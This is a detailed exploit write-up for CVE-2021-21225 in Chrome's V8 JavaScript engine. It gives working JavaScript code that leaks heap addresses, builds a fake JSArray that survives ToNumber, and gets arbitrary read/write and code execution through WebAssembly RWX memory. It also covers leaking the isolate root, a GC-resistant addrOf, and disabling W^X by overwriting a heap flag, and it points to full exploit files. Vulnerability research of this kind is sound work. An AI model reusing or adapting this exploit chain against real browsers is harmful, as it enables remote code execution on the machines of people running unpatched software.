T i s
z k
a

Exploiting CVE-2021-21225 and disabling W^X

Prerequisite Knowledge

Understanding the basics of V8 exploitation [link] is a pre-requisite for this post. Reading through CVE-2017-5030's exploit will also make this post easier to understand [link].

Note: To run the examples in this post use V8 9.0.257.

The Exploit Primitives

As we discovered in Part1 of this writeup, CVE-2021-21225 gives us the ability to read past the end of a JSArray's elements pointer, and whatever values are read will be stored to the object returned by Array.prototype.concat. We have two code paths at our disposal for exploitation.

The first code path we can trigger our vulnerability in is for HOLEY/PACKED_DOUBLE_ELEMENTS arrays. These arrays only hold double values so if we read out-of-bounds from the elements pointer it will read in double values. This will be useful for information leaks.

    case HOLEY_DOUBLE_ELEMENTS:
    case PACKED_DOUBLE_ELEMENTS: {
      Handle<FixedDoubleArray> elements(
          FixedDoubleArray::cast(array->elements()), isolate);
      int fast_length = static_cast<int>(length);
      FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
        if (!elements->is_the_hole(j)) {
          // Read OOB (double)
          double double_value = elements->get_scalar(j);
          ...
          // [2] Store the object to the return object
          visitor->visit(j, element_value); 
        } else {
            ...
          }
        }
      });
    }

The second code path we can trigger this vulnerability in is for HOLEY/PACKED_ELEMENTS arrays. HOLEY/PACKED_ELEMENTS arrays hold pointers to other JavaScript objects so if we read out-of-bounds from the elements pointer it will read in a pointer to an object! This will be useful later for gaining code execution.

    switch (array->GetElementsKind()) {
        case PACKED_SMI_ELEMENTS:
        case HOLEY_ELEMENTS: {
          Handle<FixedArray> elements(FixedArray::cast(array->elements()), isolate);
          int fast_length = static_cast<int>(length);
          FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
            // [1] Read OOB (object)
            Handle<Object> element_value(elements->get(j), isolate);
            ...
            // [2] Store the object to the return object
            visitor->visit(j, element_value); 
          });
          break;
        }
        ...
    }

These primitives can be succinctly summarized as:
1. An out of bounds read with elements‑>get_scalar(j) where we control j and the resulting double is stored to our TypedArray that was returned by Symbol.species.
2. An out of bounds read with elements‑>get(j) where we control j and the resulting JSObject pointer is stored to our TypedArray that was returned by Symbol.species.

Exploit Strategy

If you've read or written an exploit for CVE-2017-5030 [ref] then you should have a pretty good understanding of the general strategy we're going to take. However, there are a few new constraints that make the exploitation of CVE-2021-21225 trickier.

Information Leak

First, we'll trigger an information leak by triggering our vulnerability with a HOLEY/PACKED_DOUBLE_ELEMENTS array, allowing us to use the elements‑>get_scalar(j) exploit primitive for as many values j as we choose and the resulting double will be written to our TypedArray.

Trick #1: Use ArrayLiterals for Information
Triggering this primitive with a Literal Array allows us to easily leak the address of the JSArray's map pointer, properties pointer, length, and the elements pointer that we are overflowing.

Literal Arrays and Constructed Arrays are slightly different at a V8 scripting engine level. The main difference is that with Literal Arrays the elements buffer is allocated before the JSArray; whereas with Constructed Arrays the elements buffer is allocated after the JSArray is allocated.

var a = [1.1, 2.2, 3.3, 4.4, 5.5];
%DebugPrint(a);
DebugPrint: 0x98008148679: [JSArray]
 - elements: 0x098008148649 <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
// 0x098008148649 - 0x98008148679 == -30 (elements - JSArray == negative :] )

var b = new Array(5);
%DebugPrint(b);
DebugPrint: 0x181b081486b1: [JSArray]
 - elements: 0x181b081486c1 <FixedArray[5]> [HOLEY_SMI_ELEMENTS]
// 0x181b081486c1 - 0x181b081486b1 == 16 ( elements - JSArray == positive :[ )


So if we can read "Element N+1" of a Literal Array it will read the Map pointer of the JSArray we're using for our overflow and "Element N+2" will read the Properties pointer.

Here is this in action along with a few other tricks to make a HOLEY_DOUBLE_ARRAY with a custom Symbol.species and with a { valueOf : function () { ... } } object on it's prototype chain:

/*
To run this download and build d8 (gn arguments d8-build-release.sh), install rr, install GDB, install gef, and write a bash script like this with your own directory paths:

#!/bin/bash
(cd /path/v8s/9.0.257/v8/out/x64.release/ && rr record ./d8 --allow-natives-syntax /path/v8_exploit/foo.js)
(cd /path/v8s/9.0.257/v8/out/x64.release/ && rr replay)
*/

// Add the contents of helpers.js to the top of this to run it locally.
var helper = new Helpers();

function information_leak() {
    class LeakTypedArray extends Float64Array {}
    let lta = new LeakTypedArray(1024);

    // This is required to avoid an exception being thrown
    // here: https://source.chromium.org/chromium/chromium/src/+/main:v8/src/builtins/builtins-array.cc;l=765-770;drc=ae1eee10fab6ea738b8289f9dc4144e38425a463
    lta.__defineSetter__('length', function() {})

    // Create a Literal HOLEY_DOUBLE_ELEMENTS JSArray
    var a = [
        /* hole */, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9 // HOLEY_DOUBLE_ELEMENTS
    ];

    // We'll be using this in Part2
    var fake_object = new Float32Array(16);
    fake_object[0] = 1.1;

    /*
        Set the .constructor property here instead of creating a class
        so we can continue using Literal Double arrays
        class MyArray extends Array {
            static get [Symbol.species]() { 
                return function() { 
                    return p; 
                }
            };
        }
    */
    const C = new Function();
    C.__defineGetter__(Symbol.species, () => {
        return function() { return lta; }
    });
    a.constructor = C;

    /*
        Add the { valueOf : ... } object to the Literal
        Array's prototype chain at the index of the hole.
        Setting the index directly on the array would
        convert the array to HOLEY_ELEMENTS
    */
    Array.prototype[0] = {
        valueOf: function() {
            a.length = 1;
            
            new ArrayBuffer(0x7fe00000); // Trigger a mark-sweep GC
            delete Array.prototype[0];
        }
    };

    var result = Array.prototype.concat.call(a);

    /* 
                prop      map
        0xe00 [ 42424242  41414141 ]
                length   elements
        0xe08 [ 44444444 43434343 ]
    */
    helper.state.map = helper.ftoil(result[1]);
    helper.state.properties = helper.ftoih(result[1]);
    helper.state.elements =  helper.ftoil(result[2]);
    helper.state.length = helper.ftoih(result[2]);
    /*
        Calculate offsets to the Float32Array
        that will hold our fake JSArray
    */
    helper.state.fake_object = fake_object;
    helper.state.fake_object_address =  helper.state.elements + 0xa0;
    helper.state.fake_object_bytearray_address =  helper.state.elements + 0x60;
    
    helper.add_ref(a);
    %DebugPrint(a);
}

information_leak();

// Now the output of this should match the output of %DebugPrint(a);
helper.printhex( helper.state.map );
helper.printhex( helper.state.properties );
helper.printhex( helper.state.elements );
helper.printhex( helper.state.length );
Now that we know the address of elements, we can calculate the addresses of objects we allocate after creating the Literal Array. From the example above:

/*
  Place a TypedArray after the leak
  array. This Float32Array's elements
  will be at a fixed offset from the
  JSArray's values we're leaking below.
*/
var fake_object = new Float32Array(16);

...
var elements = helper.ftoil(result[2]); // This is the elements array we're reading OOB from!
...
var fake_object_address = elements + 0xa0;
var fake_object_bytearray_address = elements + 0x60;
Finding the offsets (0xa0 and 0x60) can easily be done using a debugger and arithmetic: debug_session.txt

Trick #2: Triggering Major GC without spraying the heap
There are a few different garbage collection cycles in the V8 scripting engine: Major GCs and Minor GCs. Minor GCs ca be triggered by allocating a large number of objects:
var a = [];
for (var i = 0; i < 100000; i++) { a[i] = new String(""); }

45830 ms: Scavenge 1.8 (2.7) ‑<> 0.9 (3.7) MB, 3.1 / 0.0 ms  (average mu = 1.000, current mu = 1.000) allocation failure

Triggering a Major GC is just as simple, but can be done without spraying any objects into New Space (which in my experience can make some exploits more manageable/reliable):
new ArrayBuffer(0x80000000);

263521 ms: Mark-sweep (reduce) 1.5 (3.7) -> 0.2 (2.7) MB, 26.2 / 0.0 ms  (average mu = 1.000, current mu = 1.000) external memory pressure GC in old space requested

Large ArrayBuffer construction is the simplest way to trigger a Major GC and can be done with a single allocation on most devices. The code path that implements this is: ArrayBufferConstructor => ConstructBuffer => JSArrayBuffer::Attach => AdjustAmountOfExternalAllocatedMemory => ReportExternalAllocationLimitReached => CollectGarbage

Materializing a Fake Object

Now we'll trigger the out-of-bounds read a second time, but this time with a PACKED/HOLEY_ELEMENTS array, allowing us to read a pointer to an Object with elements‑>get at [1].
    switch (array->GetElementsKind()) {
        case PACKED_ELEMENTS:
        case HOLEY_ELEMENTS: {
          Handle<FixedArray> elements(FixedArray::cast(array->elements()), isolate);
          int fast_length = static_cast<int>(length);
          FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
            // [1] Read OOB (object)
            Handle<Object> element_value(elements->get(j), isolate);
            ...
            // [2] Store the object to the return object
            visitor->visit(j, element_value); 
          });
          break;
        }

What is elements‑>get(j) actually reading here? Taking a deeper look at a PACKED_ELEMENTS array's elements we can see that it's storing pointers to JavaScript objects, so elements‑>get(j) is just reading out a pointer to a JavaScript object:
var a = [{}, [], new Uint8Array(1)];
%DebugPrint(a);

DebugPrint: 0x1efc08148671: [JSArray]
 - elements: 0x1efc08148631 <FixedArray[3]> [PACKED_ELEMENTS]
 - elements: 0x1efc08148631 <FixedArray[3]> {
           0: 0x1efc08148645 <Object map = 0x1efc083022d1>
           1: 0x1efc08148661 <JSArray[0]>
           2: 0x1efc081486c5 <Uint8Array map = 0x1efc083024d9>
 }
What would happen if elements‑>get(19) of the array a above (that's the power our second exploit primitive gives us after all)?

It would read whatever value is on the heap at elements[19], pointer or not, and store it in element_value. The strategy we're going to take to gain code execution goes as follows:

1. Allocate an object after the HOLEY_ELEMNTS array's elements buffer that will overlap with elements[19] that we can read/write to. We'll use new Float32Array(16) for this.

2. We'll write the double 2261634.5098039214 to the Float32Array at the index that overlaps with elements[19].

3. Now we'll trigger the vulnerability, causing elements‑>get(19) to interpret the double we wrote, 2261634.5098039214, as the pointer 0x41414141 [float to hex calculator].

This will crash the program at the address 0xXXX41414141 because that double value is nonsense and doesn't point to a JavaScript object.

As you probably guessed, instead of using the floating-point representation of 0x41414141 we're going to use something more interesting like the floating-point representation of a pointer that points to an area of memory we control and know the address of. Remember that fake_object variable from earlier and the fake_object_bytearray_address we calculated using offsets earlier? We're going to store something in that TypedArray that will be interpreted as a JavaScript Object, but first let's figure out what a JavaScript object is.

Under the covers, a JSArray object is just a 16 byte structure consisting of a pointer to the map, a pointer to a property, a pointer to the elements, and the length of the array:

        prop      map
0xe00 [ 0804222d  08303a41 ]
        length   elements
0xe08 [ 00000006 08148631 ]

DebugPrint: 0x1efc08148671: [JSArray]
 - map: 0x1efc08303a41 <Map(PACKED_ELEMENTS)> [FastProperties]
 - elements: 0x1efc08148631 <FixedArray[3]> [PACKED_ELEMENTS]
 - length: 3
 - properties: 0x1efc0804222d <FixedArray[0]>

As you might remember, we leaked all these values earlier with our information leak!
var map = helper.ftoil(result[1]);
var properties = helper.ftoih(result[1]);
var elements = helper.ftoil(result[2]); // elements array we're reading OOB from!
var length = helper.ftoih(result[2]);
We can store those leaked values in the fake_object. Then instead of leaving the floating-point representation of 0x41414141 at elements[19], we'll leave the floating-point representation of fake_object_bytearray_address at elements[19] (remember fake_object_bytearray_address is the address of fake_object's storage).

Now elements‑>get(19) will return the Object represented by the values we wrote to fake_object. So the JavaScript engine will now treat the pointer returned by elements‑>get(19) as a JSArray!



Putting it all together:

// Exploit to this point: https://gist.github.com/cd789/0ecfa4c804afdd98272bfd77543528db
function create_fake_object() { 
    class LeakTypedArray extends Float64Array {}
    let lta = new LeakTypedArray(1024);
    lta.__defineSetter__('length', function() {})

    var a = [
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, /* hole */, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, {} // HOLEY_ELEMENTS
    ];

    /* 
      Write the pointer to our fake `JSArray` after 
      the allocation of `a` our HOLEY_ELEMENTS array.
    */
    var fake_jsarray_object_ptr = new Float32Array(16);
    fake_jsarray_object_ptr[0] = helper.itof( 
                                  helper.state.fake_object_bytearray_address 
                                );

    const C = new Function();
    C.__defineGetter__(Symbol.species, () => {
        return function() { return lta; }
    });
    a.constructor = C;

    /*
        Write the leaked map, properties, elements, 
        and length to the fake_object

                proto      map
        0xe00 [ 42424242  41414141 ]
                length   elements
        0xe08 [ 44444444 43434343 ]
    */
    helper.state.fake_object[0] = helper.itof( helper.state.map );
    helper.state.fake_object[1] = helper.itof( helper.state.properties );
    helper.state.fake_object[2] = helper.itof( helper.state.elements );
    helper.state.fake_object[3] = helper.itof( helper.state.length );

    /*
      We're using index 19 here because
      that's the distance between a->elements()
      and fake_jsarray_object_ptr's storage.
      
      To verify add: %DebugPrint(a); %DebugPrint(fake_jsarray_object_ptr);
      on line 61 below.
    */
    Array.prototype[19] = {
        valueOf: function() {
            a.length = 1;
            new ArrayBuffer(0x7fe00000);

            delete Array.prototype[19];
            return 1.1;
        }
    };

    var c = Array.prototype.concat.call(a);
}

There's a problem

Up to this point our exploitation strategy has been identical to exploiting CVE-2017-5030. However, after running our exploit we'll be met with this lovely crash:
==== JS stack trace =========================================

Security context: 0x286608210095 <JSObject>
    0: builtin exit frame: concat(this=0x286608382395 <JSArray[1]>,0x286608382395 <JSArray[1]>)
    ...
    4: EntryFrame [pc: 0x560b224e3543]

Received signal 4 ILL_ILLOPN 560b2265b0f2

==== C stack trace ===============================

0x000056555021a3f7 in v8::internal::Isolate::PushStackTraceAndDie 
0x00005655504649d3 in v8::internal::LookupIterator::GetRootForNonJSReceiver
0x0000565550463edc in v8::internal::LookupIterator::GetRoot
0x000056555048a348 in v8::internal::LookupIterator::LookupIterator
0x0000565550445829 in v8::internal::JSReceiver::ToPrimitive 
0x0000565550486a09 in v8::internal::Object::ConvertToNumberOrNumeric
0x0000565550486a09 in v8::internal::Object::ToNumber
0x0000565550490b8d in v8::internal::Object::SetDataProperty 
0x0000565550443846 in v8::internal::JSObject::DefineOwnPropertyIgnoreAttributes
0x0000565550443846 v8::internal::JSObject::CreateDataProperty
0x0000565550122370 in v8::internal::(anonymous namespace)::ArrayConcatVisitor::visit 
0x00005655501204e4 in v8::internal::(anonymous namespace)::IterateElements 
0x0000560b21af1370 in v8::internal::(anonymous namespace)::Slow_ArrayConcat
0x0000560b21aef4e4 in v8::internal::Builtin_Impl_ArrayConcat 

[end of stack trace]

Looking closer at the C stack trace we see that our exploit made it to visitor‑>visit, which called CreateDataProperty:
0x0000565550443846 v8::internal::JSObject::CreateDataProperty
0x0000565550122370 in v8::internal::(anonymous namespace)::ArrayConcatVisitor::visit 

Which looks right, our fake JSArray is being stored to the result object just like we wanted. Looking a few functions deeper the problem becomes apparent:
0x0000565550486a09 in v8::internal::Object::ConvertToNumberOrNumeric
0x0000565550486a09 in v8::internal::Object::ToNumber
0x0000565550490b8d in v8::internal::Object::SetDataProperty 
0x0000565550443846 in v8::internal::JSObject::DefineOwnPropertyIgnoreAttributes

Remember what caused this vulnerability in the first place? The TypedArray path, and that's the path we're going down again. We're crashing at the exact line [1] that makes this vulnerability possible in the first place, the line that allows { valueOf: function() { ... } } to trigger a callback:
Maybe<bool> Object::SetDataProperty(LookupIterator* it, Handle<Object> value) {
  Isolate* isolate = it->isolate();
  Handle<JSReceiver> receiver = Handle<JSReceiver>::cast(it->GetReceiver());

  Handle<Object> to_assign = value;
  if (it->IsElement() && receiver->IsJSObject(isolate) &&
      JSObject::cast(*receiver).HasTypedArrayOrRabGsabTypedArrayElements(
          isolate)) {
    ElementsKind elements_kind = JSObject::cast(*receiver).GetElementsKind();
    if (IsBigIntTypedArrayElementsKind(elements_kind)) {
      ...
    } else if (!value->IsNumber() && !value->IsUndefined(isolate)) {
      // [1] THIS IS WHERE WE'RE CRASHING
      ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, to_assign,
                                       Object::ToNumber(isolate, value),
                                       Nothing<bool>());
      ...
      }
    }
  }
Overcoming this appeared to be extremely tricky when I first came across this crash and I started to question how feasible it would be to create a reliable exploit for this vulnerability. The line of code that allowed us to trigger this vulnerability is now preventing us from exploiting it. How ironic!

In CVE-2017-5030 visitor‑>visit(element_value, j) was writing to a Proxy object which was fine because Proxy objects can hold references to objects. But for CVE-2021-21225, there appears to be no way around this line of code, we need visitor‑>visit(element_value, j) to store to a TypedArray to trigger the vulnerability, but TypedArrays can only hold numeric values.

But the solution to this puzzle is staring us right in the face and if I've explained this well you might see it too.

Trick #3: Surviving Object::ToNumber(fake_object)

The piece of the puzzle we were missing was a trick we've already used to trigger the vulnerability, the valueOf operator. Remember, Object::ToNumber will trigger whatever callback is in the valueOf property. Using this we can store any object type to a TypedArray.
var array = [1, 2, 3, 4];

array.valueOf = function() {
  console.log(this); // access array from within valueOf
  return 5;
};

var f64 = new Float64Array(4);
f64[0] = array;
console.log(f64); // Float64Array(5, 0, 0, 0);

The same idea will work with our fake JSArray:
var corrupted_array;

function create_fake_object() { 
    ...
    Array.prototype[19] = {
        valueOf: function() {
            a.length = 1;
            new ArrayBuffer(0x7fe00000);
            
            /*
                Calling valueOf on the fake JSArray will walk up
                the prototype chain. Giving us access to the fake
                <JSArray> through this. 
            */
            Object.prototype.valueOf = function() {
                corrupted_array = this; // grab our fake JSArray
                delete Object.prototype.valueOf; // clean up this valueOf
                throw 'bailout'; // throw to escape Object::ToNumber
                return 42;
            }

            delete Array.prototype[19];
            return 1.1;
        }
    };
    ...
    var c = Array.prototype.concat.call(a);
}

information_leak();
try {
  create_fake_object();
} catch(e) {}

print(corrupted_array.length); // 1
helper.state.fake_object[3] = 100; // update our fake JSArray's length
print(corrupted_array.length); // 50

From here we can easily create arbitrary write, arbitrary read, and addrOf [ref] primitives and gain code execution through WebAssembly's RWX space. The final annotated exploit can be found here: concat_exploit.js. To execute the exploit in Chromium just run version 90.0.4430.72 with the --no-sandbox flag.
<script>new Worker("concat_exploit.js");</script>

Disabling W^X

Trick #4: Leaking the Pointer Compression Isolate Root

The V8 engine has an optimization called Pointer Compression where it only stores the lower 32 bits of 64 bit pointers in the V8 heap and caches the upper 32 bits in a register. This works because the upper 32 bits of the JavaScript heap remains static and never outgrows 4GB of memory. Leaking the upper 32 bits of the V8 heap can be useful for exploitation. For example, if we want to write a V8 heap pointer to an ArrayBuffer's backinsg_store, which is stored as a 64 bit pointer, we'll need the isolate root to create the full 64 bit pointer.

Leaking the register itself seems complicated and would probably require a complex ROP chain to leak, so my strategy for this was to try to find a V8 object that requires storing the register in the V8 heap. The only object I found that met this criterion was the on-heap TypedArray.

When TypedArrays less than 64 bytes in length are allocated, V8 allocates the data_ptr on the heap instead of making an external data_ptr to speed things up. The logic behind V8 TypedArrays uses 64 bit pointer arithmetic in normal situations because external pointers are used in all other cases, so the isolate root will be stored in the external_pointer slot of the object.

var a = new Uint8Array(64); // TypedArrays with backingStores greater than

var u8_on_heap_addr = addrOf(a);
var isolate_root = arbRead(u8_on_heap_addr + 0x20) & 0xffff00000000n;
print(isolated_root); // >>> 0x4a900000000


%DebugPrint(a);
DebugPrint: 0x4a9081486a9: [JSTypedArray]
 - data_ptr: 0x4a908148668
   - base_pointer: 0x8148661
   - external_pointer: 0x4a900000007

Trick #5: Writing a GC resistant addrOf with LargeObjectSpace Arrays

The V8 scripting engine's heap is divided into multiple "spaces": New Space, Old Space, and Large Object Space. When a Garbage Collector is triggered, objects in New Space will be moved to Old Space. Sometimes objects in Old Space will be moved to a different location in Old Space for compaction, but objects in Large Object space will remain in a static location (in very rare circumstances they can be moved by an evacuation GC).

The size of objects placed in LargeObjectSpace is determined at compile-time and stored in the constant kMaxRegularHeapObjectSize [ref]. If you go through every branch that calculates this constant it's easy to find that any object greater than 1048576 bytes will be placed in large object space. Creating an array with an elements pointer in Large Object Space is as easy as:
var large_object_array = new Array(1048577);

Having access to a JSArray with an elements pointer that will never move is very useful for exploitation. For example, if we want to implement an addrOf function that won't crash when the Garbage Collector changes the address of the JSArray it's using to leak values, then we should use a Large Object Space JSArray because the address of elements is guaranteed to be static.
var lo_array = new Array(1048577);
var elements_ptr = arbRead(addrOf(lo_array) + 8);

var leak_array_buffer = new ArrayBuffer(64);
var backing_store_ptr = arbRead(leak_array_buffer + 0xc);

arbWrite(backing_store_ptr, elements_ptr);
gc();
gc();

var o = {};
lo_array[0] = o;
leak_array_buffer[0]; // leak the address of o


Trick #6: Disabling W^X at Runtime

Many years ago when I first started writing V8 exploits it was possible to overwrite the RWX memory of a JIT function with shellcode to achieve code execution. Since then a protection called W^X was enabled on JIT memory that prevents the JIT memory region from being both writable and executable. Exploit writers often get around this by using WebAssembly which still compiles to RWX memory regions (as I did in the exploit above), but I thought it would be fun to write an exploit without using the WebAssembly RWX memory trick. To do this I started looking into the implementation of W^X in the V8 scripting engine.

W^X is enabled with a flag FLAG_write_protect_code_memory. This flag is stored in the member write_protect_code_memory_ [ref] in the Heap structure. Whenever the Heap initializes a MemoryChunk that is marked as executable the write_protect_code_memory_ member is checked. If write_protect_code_memory_ is not true then the MemoryChunk is set to RWX and the W^X logic is never started.

  if (executable == EXECUTABLE) {
    if (heap->write_protect_code_memory()) {
      chunk->write_unprotect_counter_ =
          heap->code_space_memory_modification_scope_depth();
    } else {
      size_t page_size = MemoryAllocator::GetCommitPageSize();
      size_t area_size =
          RoundUp(chunk->area_end() - chunk->area_start(), page_size);
      // [1] DefaultWritableCodePermissions == RWX
      CHECK(chunk->reservation_.SetPermissions(
          chunk->area_start(), area_size, DefaultWritableCodePermissions()));
    }
  }
So all we need to do is write a 0 to the address where write_protect_code_memory_ is in memory. We can find the offset in GDB or do pattern matching at runtime to find the address of write_unprotect_counter_.

For example, this script will result in a RWX memory segment:
function jit(a) {
  return a[0];
}

arbWrite(write_protect_code_memory_, 0);

jit([0]);
for (var i = 0; i < 200000; i++) {
  jit([0]);
}


Full Exploit Here: WX_bypass.js
<script>new Worker("WX_bypass.js");</script>